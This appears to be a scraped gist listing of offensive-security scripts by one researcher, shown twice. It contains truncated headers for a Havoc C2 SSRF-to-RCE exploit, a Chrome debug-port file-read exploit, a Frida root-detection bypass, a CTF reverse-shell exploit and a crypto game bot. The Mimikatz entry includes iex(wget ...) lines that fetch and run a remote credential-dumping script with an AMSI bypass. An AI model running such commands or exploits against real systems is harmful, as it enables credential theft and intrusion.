LongCat pich4ya

## havoc_ssrf2rce.py
# Havoc C2 SSRF to AuthN RCE
# @author longcat (https://sth.sh)
#
# sudo ncat -lvp 443
# python havoc_ssrf2rce.py -t https://havoc.c2/ -l 1.3.3.7 --c2user 5pider --c2pass RKnnj5Vfq3bt9y7L
#
# The original authors are @_chebuya (SSRF) and Laurence Tennant, Include Security (AuthN RCE)
# Their writeups are great. I am so fascinating to read @_chebuya blog post :)
# My work is just to integrate them into one single shot exploit.
# In short, make WebSocket works with Havoc C2 Agent Payload

## chrome_remote_debug_lfi.py
#!/usr/bin/env python
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# Ported from https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/chrome_debugger.rb
# pip install requests websocket-client python-socks
# This exploit code can be used to read arbitrary files on the victim machine with
# chrome/chromium --remote-debugging-port=9222, usually runs as a test automation tool in any software testing phase
import requests
import json
import urllib3
import websocket

## root_bypass.js
// $ frida -l antiroot.js -U -f com.example.app --no-pause
// CHANGELOG by Pichaya Morimoto (p.morimoto@sth.sh):
//  - I added extra whitelisted items to deal with the latest versions
// 						of RootBeer/Cordova iRoot as of August 6, 2019
//  - The original one just fucked up (kill itself) if Magisk is installed lol
// Credit & Originally written by: https://codeshare.frida.re/@dzonerzy/fridantiroot/
// If this isn't working in the future, check console logs, rootbeer src, or libtool-checker.so
Java.perform(function() {

    var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu",

## proxychains-ng_m1.txt
# @author Pichaya Morimoto (p.morimoto@sth.sh)

Problem:

```bash
brew install proxychains-ng
proxychains4 ncat 1.2.3.4 # not working
```

There are public workarounds like https://benobi.one/posts/running_brew_on_m1_for_x86/

## Invoke-OneShot-Mimikatz.ps1
# TLDR:
# iex(wget https://gist.github.com/pich4ya/e93abe76d97bd1cf67bfba8dce9c0093/raw/e32760420ae642123599b6c9c2fddde2ecaf7a2b/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
#
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# One Shot for M1m1katz PowerShell Dump All Creds with AMSI Bypass 2022 Edition
# (Tested and worked on Windows 10 x64 patched 2022-03-26)
#
# Usage:
# 1. You need a local admin user's powershell with Medium Mandatory Level (whoami /all)
# 2. iex(wget https://attacker-local-ip/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)

## alienworlds_bot.js
// บอทปั้มเงิน TLM เกม Alien Worlds (เงินจะเอาไปแลกเงินจริงใน Binance ได้)
// ไว้ทดสอบเฉย ๆ อย่าเอาไปใช้จริง คนเขียนไม่รับผิดชอบต่อบั๊กใด ๆ ทั้งสิ้น
//
// วิธีใช้:
// 1. สมัคร + เข้า https://play.alienworlds.io/
// 2. ต้องเคย mine แบบ manual ก่อน 1 ครั้ง
// 3. ก๊อปสคริปท์นี้ไปแปะใน Console (F12)
// น่าจะมีบั๊กพวก rate limit อะไรทั้งหลาย กับ if/loop บางอันเอาออกได้
// ลองรันเล่น ๆ 5 ชม จาก user เปล่า ๆ ได้มา 8 TLM (ขึ้นกับดวงและอื่นๆด้วยมั่ง)
// ใครว่าง ๆ แก้เป็นยิงเข้า API โดยตรงไม่ผ่าน JS น่าจะเสถียรกว่าเยอะมาก

## Find-AclSth.ps1
function Find-AclSth {
<#
.SYNOPSIS

Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.

Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

Author: Will Schroeder (@harmj0y)

## docker_context.txt
Problem:

$ docker-compose up --build
Building xxx
ERROR: No build stage in current context

Analysis:

Dockerfile

## apk_getString_R_string.py
# @author Pichaya Morimoto (p.morimoto@sth.sh)
# I tried all jadx options for debof, but it did not work.
# This script can be used to replace strings.xml values in a target Java file
# if (!Intrinsics.areEqual(param, context.getString(R.string.m1))) {  -> if (!Intrinsics.areEqual(param, "monday")) {
# Prompted and modified with ChatGPT for FlareOn 10's ItsOnFire
# Usage: python apk_getString_R_string.py resources/res/values/strings.xml sources/com/secure/itsonfire/MessageWorker.java
# Usage: python apk_getString_R_string.py resources/res/values/strings.xml sources
import xml.etree.ElementTree as ET
import re
import sys

## bookclub_exploit_rce.py
#!/usr/bin/env python
# @author: longcat
# SEC Playground Bloody Xmas 2024 - Bookclub
# Exploit #2 - Read Flag w/ RCE (Reverse Shell)
import requests

import sys
import time
import argparse
import urllib3
	# Havoc C2 SSRF to AuthN RCE
	# @author longcat (https://sth.sh)
	#
	# sudo ncat -lvp 443
	# python havoc_ssrf2rce.py -t https://havoc.c2/ -l 1.3.3.7 --c2user 5pider --c2pass RKnnj5Vfq3bt9y7L
	#
	# The original authors are @_chebuya (SSRF) and Laurence Tennant, Include Security (AuthN RCE)
	# Their writeups are great. I am so fascinating to read @_chebuya blog post :)
	# My work is just to integrate them into one single shot exploit.
	# In short, make WebSocket works with Havoc C2 Agent Payload
	#!/usr/bin/env python
	# @author Pichaya Morimoto (p.morimoto@sth.sh)
	# Ported from https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/chrome_debugger.rb
	# pip install requests websocket-client python-socks
	# This exploit code can be used to read arbitrary files on the victim machine with
	# chrome/chromium --remote-debugging-port=9222, usually runs as a test automation tool in any software testing phase
	import requests
	import json
	import urllib3
	import websocket
	// $ frida -l antiroot.js -U -f com.example.app --no-pause
	// CHANGELOG by Pichaya Morimoto (p.morimoto@sth.sh):
	// - I added extra whitelisted items to deal with the latest versions
	// of RootBeer/Cordova iRoot as of August 6, 2019
	// - The original one just fucked up (kill itself) if Magisk is installed lol
	// Credit & Originally written by: https://codeshare.frida.re/@dzonerzy/fridantiroot/
	// If this isn't working in the future, check console logs, rootbeer src, or libtool-checker.so
	Java.perform(function() {

	var RootPackages = ["com.noshufou.android.su", "com.noshufou.android.su.elite", "eu.chainfire.supersu",
	# @author Pichaya Morimoto (p.morimoto@sth.sh)

	Problem:

	```bash
	brew install proxychains-ng
	proxychains4 ncat 1.2.3.4 # not working
	```

	There are public workarounds like https://benobi.one/posts/running_brew_on_m1_for_x86/
	# TLDR:
	# iex(wget https://gist.github.com/pich4ya/e93abe76d97bd1cf67bfba8dce9c0093/raw/e32760420ae642123599b6c9c2fddde2ecaf7a2b/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
	#
	# @author Pichaya Morimoto (p.morimoto@sth.sh)
	# One Shot for M1m1katz PowerShell Dump All Creds with AMSI Bypass 2022 Edition
	# (Tested and worked on Windows 10 x64 patched 2022-03-26)
	#
	# Usage:
	# 1. You need a local admin user's powershell with Medium Mandatory Level (whoami /all)
	# 2. iex(wget https://attacker-local-ip/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
	// บอทปั้มเงิน TLM เกม Alien Worlds (เงินจะเอาไปแลกเงินจริงใน Binance ได้)
	// ไว้ทดสอบเฉย ๆ อย่าเอาไปใช้จริง คนเขียนไม่รับผิดชอบต่อบั๊กใด ๆ ทั้งสิ้น
	//
	// วิธีใช้:
	// 1. สมัคร + เข้า https://play.alienworlds.io/
	// 2. ต้องเคย mine แบบ manual ก่อน 1 ครั้ง
	// 3. ก๊อปสคริปท์นี้ไปแปะใน Console (F12)
	// น่าจะมีบั๊กพวก rate limit อะไรทั้งหลาย กับ if/loop บางอันเอาออกได้
	// ลองรันเล่น ๆ 5 ชม จาก user เปล่า ๆ ได้มา 8 TLM (ขึ้นกับดวงและอื่นๆด้วยมั่ง)
	// ใครว่าง ๆ แก้เป็นยิงเข้า API โดยตรงไม่ผ่าน JS น่าจะเสถียรกว่าเยอะมาก
	function Find-AclSth {
	<#
	.SYNOPSIS

	Finds object ACLs in the current (or specified) domain with modification
	rights set to non-built in objects.

	Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.

	Author: Will Schroeder (@harmj0y)
	Problem:

	$ docker-compose up --build
	Building xxx
	ERROR: No build stage in current context

	Analysis:

	Dockerfile
	# @author Pichaya Morimoto (p.morimoto@sth.sh)
	# I tried all jadx options for debof, but it did not work.
	# This script can be used to replace strings.xml values in a target Java file
	# if (!Intrinsics.areEqual(param, context.getString(R.string.m1))) { -> if (!Intrinsics.areEqual(param, "monday")) {
	# Prompted and modified with ChatGPT for FlareOn 10's ItsOnFire
	# Usage: python apk_getString_R_string.py resources/res/values/strings.xml sources/com/secure/itsonfire/MessageWorker.java
	# Usage: python apk_getString_R_string.py resources/res/values/strings.xml sources
	import xml.etree.ElementTree as ET
	import re
	import sys
	#!/usr/bin/env python
	# @author: longcat
	# SEC Playground Bloody Xmas 2024 - Bookclub
	# Exploit #2 - Read Flag w/ RCE (Reverse Shell)
	import requests

	import sys
	import time
	import argparse
	import urllib3